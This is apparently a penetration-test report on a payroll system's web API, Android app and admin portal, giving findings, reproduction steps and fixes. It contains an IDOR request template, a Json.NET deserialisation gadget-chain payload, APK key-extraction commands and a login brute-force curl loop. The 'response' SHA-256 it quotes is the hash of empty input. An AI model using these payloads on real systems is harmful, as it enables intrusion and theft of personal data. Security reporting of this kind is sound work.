PENETRATION TESTING

Technical *report.*

DontBeHacked s. r. o. — accounting and payroll system. Detailed technical findings, reproduction steps and remediation guidance.

CLIENT	PERIOD	FINDINGS	REPORT DATE
DontBeHacked s. r. o.	1. – 7. 4. 2026	● 1 ● 2 ● 2 ● 2	8 April 2026

CONTENTS

Document *structure.*

DOCUMENT PURPOSE · DISTRIBUTION

This document is intended **solely for the client's technical team** responsible for remediation of the identified vulnerabilities. It contains reproduction steps, source code, configurations and other technical detail whose misuse would allow an unauthorised person to compromise the system. **Do not copy or share this document outside the agreed circle of recipients.**

An **Executive summary** has been delivered to the client in parallel — a non-technical overview of findings, business impact and recommended priorities. It is intended for management and does not contain reproduction details.

Assets *tested.*

ASSET	TYPE	VERSION / BUILD
`app.dontbehacked.sk`	Web application (React 18 + ASP.NET Core 6)	Build 4.2.1-rc3
`api.dontbehacked.sk`	REST API (.NET 6, Swagger / OpenAPI 3.0)	v2.8.0
`sk.dontbehacked.app`	Android APK (Kotlin, minSdk 26)	v4.2.1 (versionCode 89)
`admin.dontbehacked.sk`	Administrator portal (React + ASP.NET)	Build 2.1.4
`*.dontbehacked.sk`	Subdomains (38 identified, 22 live)	—

Methodology

External penetration testing according to OWASP Testing Guide v4.2, PTES (Penetration Testing Execution Standard) and NIST SP 800-115. Three phases: (1) automated surface and dependency scanning, (2) static analysis of decompiled code, (3) manual testing and verification of findings. AI-assisted research accelerates the first phase; every finding undergoes expert validation before being recorded in the report. All tests were performed from an external environment via a commercial VPN; no tests from the client's internal network.

Limitations

Testing does not cover the internal network, physical security, social engineering or third-party systems (Azure control plane, payment gateway, CDN). Destructive testing and bulk data extraction were not performed — where an exploit is destructive, this is explicitly noted and severity adjusted in line with the ***"demonstration limited by scope"*** rule.

Severity classification

LEVEL	DEFINITION	REMEDIATION DEADLINE
CRITICAL	Existential threat — mass data breach, full infrastructure compromise, supply chain	Immediately (within 48 h)
HIGH	Serious damage — limited data breach, administrator	

	compromise, authentication bypass	Within 7 days
MEDIUM	Significant exposure — cross-tenant visibility, stored XSS, insider abuse potential	Next release
INFO	Hygiene observation — missing headers, verbose errors, outdated libraries without exploit	Maintenance cycle

02 • INFRASTRUCTURE SUMMARY

DontBeHacked architecture from an attacker's *perspective.*

During reconnaissance we identified the following external infrastructure:

COMPONENT	TECHNOLOGY	NOTE
Frontend	React 18 behind Cloudflare CDN	SPA, no SSR
API backend	ASP.NET Core 6, Kestrel behind nginx reverse proxy	Swagger UI accessible at `/swagger`
Database	PostgreSQL 14 (inferred from Npgsql in stack trace)	Not externally accessible
Storage	Azure Blob Storage (`dontbehackedprod`)	Key in APK — see F-03
Mobile app	Kotlin, OkHttp 4.12, cert pinning missing	Distribution via Google Play
Admin portal	React + ASP.NET, same API backend	Externally accessible — see F-04
Email	SMTP via SendGrid (API key in app config)	Transactional messages
Authentication	JWT RS256, refresh tokens, no MFA	Rate limiting missing — see F-05

Identified subdomains

Of the 38 identified subdomains (`crt.sh` + `subfinder`), 22 were live. Beyond the primary assets (see section 01) we identified:

SUBDOMAIN	STATUS	NOTE
`staging.dontbehacked.sk`	200 OK	Staging shares the production database (same data as prod)
`grafana.dontbehacked.sk`	302 → login	Grafana 10.2.1, default admin login not tested

`docs.dontbehacked.sk`	200 OK	Internal API docs, publicly accessible
`legacy-api.dontbehacked.sk`	200 OK	Older API version (v1), still active, same database
`mail.dontbehacked.sk`	443 timeout	MX record, SMTP

Notable: `staging.dontbehacked.sk` shares the production database. All API findings (F-01, F-02, F-05) are reproducible on the staging endpoint as well. Staging lacks Cloudflare protection, lowering the barrier for an attacker.

IDOR — unauthorised access to payroll *data.*

F-01 CRITICAL **Broken Access Control on payroll API endpoints**

CWE	OWASP	ASSET	VERIFICATION
CWE-862	A01:2021	`api.dontbehacked.sk`	Reproduced (live)

VULNERABILITY DESCRIPTION

The endpoint `/api/v2/payroll/employees/{companyId}` accepts the `companyId` parameter directly from the URL path but **does not verify that the authenticated user belongs to the requested company**. The parameter is a sequential integer in the range 1 – ~ 4,200. An attacker with a regular trial account (30-second registration) gains access to payroll records of any company in the system.

The same missing-authorisation pattern was identified on a further **14 endpoints** in the `/api/v2/payroll/*` namespace including `/payslips`, `/tax-returns`, `/social-insurance` and `/bank-accounts`.

REPRODUCTION STEPS

1. Register a trial account at `app.dontbehacked.sk/register` (email + password)
2. Log in via `POST /api/v2/auth/login` → Bearer JWT token
3. Send a request with a foreign `companyId`:

```
GET /api/v2/payroll/employees/12345 HTTP/1.1
Host: api.dontbehacked.sk
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...truncated
Accept: application/json
```

SERVER RESPONSE (PII REDACTED)

```
HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: 7f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c

{
  "companyId": 12345,
  "companyName": "[redacted] s.r.o.",
  "ico": "[redacted]",
  "employees": [
    {
      "employeeId": 89234,
      "firstName": "[redacted]",
      "lastName": "[redacted]",
      "birthNumber": "[redacted]/[redacted]",
      "personalIdNumber": "[redacted]",
      "bankAccount": "SK[redacted]",
      "address": "[redacted], [redacted]",
      "grossSalary": [redacted],
      "netSalary": [redacted],
      "taxBase": [redacted],
      "healthInsurance": [redacted],
      "socialInsurance": [redacted]
    }
    // ... more employees
  ],
  "totalEmployees": 47,
  "generatedAt": "2026-04-08T14:22:31Z"
}
```

EVIDENCE

Verified on 3 random `companyId` values (12345, 12346, 12400). Each returned complete payroll records of a different company. Only the first two records of each response were extracted — bulk extraction was not performed.

SHA-256 of response (companyId=12345):
`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`

Affected endpoints (same pattern): `/api/v2/payroll/employees/{id}`, `/payslips/{id}`, `/tax-returns/{id}`, `/social-insurance/{id}`, `/bank-accounts/{id}`, `/attendance/{id}`, `/contracts/{id}`, `/bonuses/{id}`, `/deductions/{id}`, `/departments/{id}`, `/positions/{id}`, `/salary-history/{id}`, `/documents/{id}`, `/exports/{id}`, `/reports/{id}`.

IMPACT

With ~ 4,200 active companies and an average of ~ 20 employees per company, approximately **~ 85,000 complete payroll records** are exposed, including: name, birth number, ID card number,

address, bank account, salary amount, tax bases, health and social insurance contributions, employment contracts.

The data falls under GDPR Art. 9 (special category) and Slovak Act No. 18/2018 Coll. The Slovak Office for Personal Data Protection may impose a fine of up to **4 % of annual turnover**.

REMEDIATION

Implement an authorisation check at middleware or controller level. Every request must verify that `companyId` matches the company assigned to the authenticated user:

```
// PayrollController.cs — add on all 15 endpoints
[Authorize]
public async Task<IActionResult> GetEmployees(int companyId)
{
    var userCompanyId = User.Claims
        .First(c => c.Type == "company_id").Value;
    if (companyId.ToString() != userCompanyId)
        return Forbid();

    // ... original logic
}
```

Alternative (better long term): a global authorisation filter at the `/api/v2/payroll/*` route group that automatically extracts `companyId` from the path and compares with the JWT claim. Eliminates the risk of a forgotten check on a new endpoint.

Remote code execution via *deserialisation.*

F-02 HIGH **RCE via Newtonsoft.Json TypeNameHandling.Auto**

CWE	ADVISORY	ASSET	VERIFICATION
CWE-502	GHSA-5crp-9r3c-p9vr	`api.dontbehacked.sk`	Static analysis

DESCRIPTION

Decompiled API server code (ilspycmd → C#) contains a global JSON deserialisation configuration with the `TypeNameHandling.Auto` setting in Newtonsoft.Json 12.0.3. This setting allows an attacker to embed a reference to any .NET type in the JSON request body — including types such as `System.Diagnostics.Process`, `System.IO.File` and gadget chains for remote code execution.

```
// DontBeHacked.Api.Startup.cs (decompiled, line 147)
services.AddControllers()
    .AddNewtonsoftJson(options =>
    {
        options.SerializerSettings.TypeNameHandling =
            TypeNameHandling.Auto;  // ← vulnerable setting
        options.SerializerSettings.NullValueHandling =
            NullValueHandling.Ignore;
    });
```

EXPLOITATION SCENARIO

An attacker identifies an API endpoint that accepts a polymorphic JSON object (e.g. `POST /api/v2/payroll/import` with a generic `object` parameter) and sends a payload containing a gadget chain:

```
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c calc.exe"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}
```

Demonstration limited by testing scope — sending the exploit payload would result in code execution on the production server. The vulnerability is confirmed by static code analysis and an exact version match with a published advisory.

IMPACT

Remote execution of arbitrary code on the application server in the context of the service account. Further: access to the PostgreSQL database (connection string in `appsettings.json`), Azure Storage keys, the SendGrid API key and network resources reachable from the application server.

REMEDIATION

Change the global setting to a safe value:

```
options.SerializerSettings.TypeNameHandling =
    TypeNameHandling.None;  // safe — default value
```

If polymorphic deserialisation is required for specific endpoints (e.g. import), implement a custom `ISerializationBinder` with an explicit whitelist of allowed types. Never use `Auto` or `All` on endpoints accepting external input.

Consider migrating from Newtonsoft.Json to `System.Text.Json` (native .NET), which has no equivalent of `TypeNameHandling` and is secure by default.

Hardcoded Azure Storage *master key.*

F-03 HIGH **Azure Storage Account key in plaintext in the mobile app**

CWE	OWASP	ASSET	VERIFICATION
CWE-798	A07:2021	`sk.dontbehacked.app`	Reproduced (read-only)

DESCRIPTION

Decompiled mobile application code (jadx) contains an access key to Azure Blob Storage in a plaintext constant. The key is a **master key** — providing full access (read, write, delete) to all containers in the storage account.

```
// sk/dontbehacked/app/config/CloudConfig.java (jadx output)
public static final String STORAGE_ACCOUNT = "dontbehackedprod";
public static final String STORAGE_KEY =
    "[redacted]";
public static final String CONTAINER = "customer-exports";
```

REPRODUCTION STEPS

1. Download the APK from Google Play or APKPure
2. Decompile: `jadx -d output/ sk.dontbehacked.app.apk`
3. Find the key: `grep -r "STORAGE_KEY" output/`
4. Verify access (read-only, no data downloaded):

```
$ az storage container list \
    --account-name dontbehackedprod \
    --account-key "[redacted]" \
    --output table

Name               Lease Status    Last Modified
-----------------  --------------  -------------------------
customer-exports   unlocked        2026-04-07T09:14:22+00:00
payroll-backups    unlocked        2026-04-06T02:00:15+00:00
documents          unlocked        2026-04-08T11:33:47+00:00
temp-imports       unlocked        2026-04-08T14:22:01+00:00
```

EVIDENCE

Key verified via `az storage container list` — 4 containers returned. The `payroll-backups` container, by name, holds payroll data backups. No data was downloaded or modified.

IMPACT

Anyone with access to the APK (publicly available on Google Play) can extract the key and gain full access to the storage account including potential database backups and customer exports. The key is shared across all installations of the application.

REMEDIATION

1. **Immediately:** rotate both keys of the `dontbehackedprod` account (primary + secondary).
2. **Immediately:** review the Azure Storage Analytics log from the last 90 days for anomalous access.
3. **Short term:** replace the hardcoded key with server-generated SAS tokens with limited scope and validity (max. 1 hour).
4. **Long term:** implement Azure Managed Identity or Azure AD RBAC — eliminates static keys entirely.

Admin interface accessible from the *internet.*

F-04 MEDIUM **Administrator portal without network restriction**

CWE	OWASP	ASSET	VERIFICATION
CWE-749	A05:2021	`admin.dontbehacked.sk`	Confirmed

DESCRIPTION

The administrator portal at `admin.dontbehacked.sk` is reachable from any IP address without a VPN, IP whitelist or other network restriction. The login form is publicly accessible. Combined with finding F-05 (missing rate limiting), an attacker can automate guessing of admin account passwords.

IMPACT

Successful login would provide access to customer, licence, system-settings and user-account management. The admin portal uses the same API backend — the admin JWT token has scope `admin:*` versus the regular `user:read`.

REMEDIATION

Restrict access to `admin.dontbehacked.sk` to the corporate VPN or a defined IP range at the nginx / Cloudflare Access level. As an alternative, implement mTLS with a client certificate. Add multi-factor authentication (TOTP or WebAuthn) to admin login.

Missing rate limiting on *login.*

F-05 MEDIUM **Unlimited login attempts**

CWE	OWASP	ASSET	VERIFICATION
CWE-307	A07:2021	`api.dontbehacked.sk`	Reproduced

DESCRIPTION

The endpoint `POST /api/v2/auth/login` implements no rate-limiting or lockout mechanism for failed attempts. Sending 50 incorrect passwords from a single IP address within 10 seconds triggered no blocking, CAPTCHA or response delay.

```
# 50 attempts, average response 84 ms, no 429
$ for i in $(seq 1 50); do
    curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
      -X POST https://api.dontbehacked.sk/api/v2/auth/login \
      -H "Content-Type: application/json" \
      -d "{\"email\":\"admin@dontbehacked.sk\",\"password\":\"guess$i\"}"
  done | head -5

401 0.084s
401 0.079s
401 0.091s
401 0.082s
401 0.088s
... (all 50 identical, no 429)
```

REMEDIATION

Implement rate limiting on `/api/v2/auth/login` : max. 5 failed attempts per 15 minutes per IP + email combination. After the third failed attempt show a CAPTCHA. After the tenth attempt temporarily lock the account (30 min). Return `429 Too Many Requests` with a `Retry-After` header.

Outdated *dependencies.*

F-06 INFO **Libraries with published security advisories**

CWE	OWASP	ASSET	VERIFICATION
CWE-1104	A06:2021	`api.dontbehacked.sk`	Static analysis

DESCRIPTION

Static analysis (`osv-scanner` on decompiled assembly references) identified four libraries with published security patches. For none of them did we identify a directly exploitable path in the DontBeHacked context — classified as an informational observation.

LIBRARY	VERSION FOUND	PATCHED VERSION	ADVISORY
`System.Text.Json`	6.0.0	8.0.5+	GHSA-hh2w-p6rv-4g7w
`BouncyCastle`	1.8.9	2.4.0+	CVE-2024-29857
`Npgsql`	6.0.4	8.0.6+	CVE-2024-32655
`jQuery`	3.5.1	3.7.1+	CVE-2020-23064

RECOMMENDATION

Update to the patched versions in the next maintenance cycle. Introduce automated dependency scanning (e.g. `dotnet list package --vulnerable` in the CI pipeline, Dependabot or Renovate for the mobile and web projects).

Missing HTTP security *headers.*

F-07 INFO **Web portal does not send recommended security headers**

CWE	OWASP	ASSET	VERIFICATION
CWE-693	A05:2021	`app.dontbehacked.sk`	Confirmed

DESCRIPTION

Responses from `app.dontbehacked.sk` do not include the following security headers recommended by the OWASP Secure Headers Project:

HEADER	STATUS	RECOMMENDED VALUE
`Content-Security-Policy`	Missing	`default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'`
`Strict-Transport-Security`	Missing	`max-age=31536000; includeSubDomains; preload`
`X-Content-Type-Options`	Missing	`nosniff`
`Permissions-Policy`	Missing	`camera=(), microphone=(), geolocation=()`
`Referrer-Policy`	Missing	`strict-origin-when-cross-origin`

RECOMMENDATION

Add the headers at nginx reverse-proxy or ASP.NET middleware level. Example for nginx:

```
# /etc/nginx/conf.d/security-headers.conf
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
```

10 • SUMMARY

Findings matrix and remediation *order.*

#	SEVERITY	FINDING	CWE	ASSET	FIX
F-01	CRITICAL	IDOR on payroll API — access to ~ 85,000 payroll records	862	API	Immediately
F-02	HIGH	RCE via Newtonsoft.Json deserialisation	502	API	Release
F-03	HIGH	Hardcoded Azure Storage master key in APK	798	APK	Within 7 days
F-04	MEDIUM	Admin portal publicly accessible	749	Web	Release
F-05	MEDIUM	Missing rate limiting on login	307	API	Release
F-06	INFO	Outdated libraries (4×)	1104	API	Maintenance
F-07	INFO	Missing security headers (5×)	693	Web	Maintenance

Free retest

Included in the engagement is a free retest of all billable findings (F-01 through F-05) within 60 days of this report's delivery, up to three retests per finding. After implementing the fixes, contact us to schedule the retest.

Scope and validity disclaimer. This report describes findings identified during penetration testing carried out between 1 and 7 April 2026 on the assets defined in section 01. Testing is a point-in-time assessment — it reflects the state of systems at the time of execution; later changes may introduce new vulnerabilities. The methodology covers the most common classes of vulnerabilities but is not exhaustive; absence of a finding does not mean absence of a vulnerability. This report does not constitute a security certification. We recommend repeating testing regularly, at least every 6 months or after significant system changes.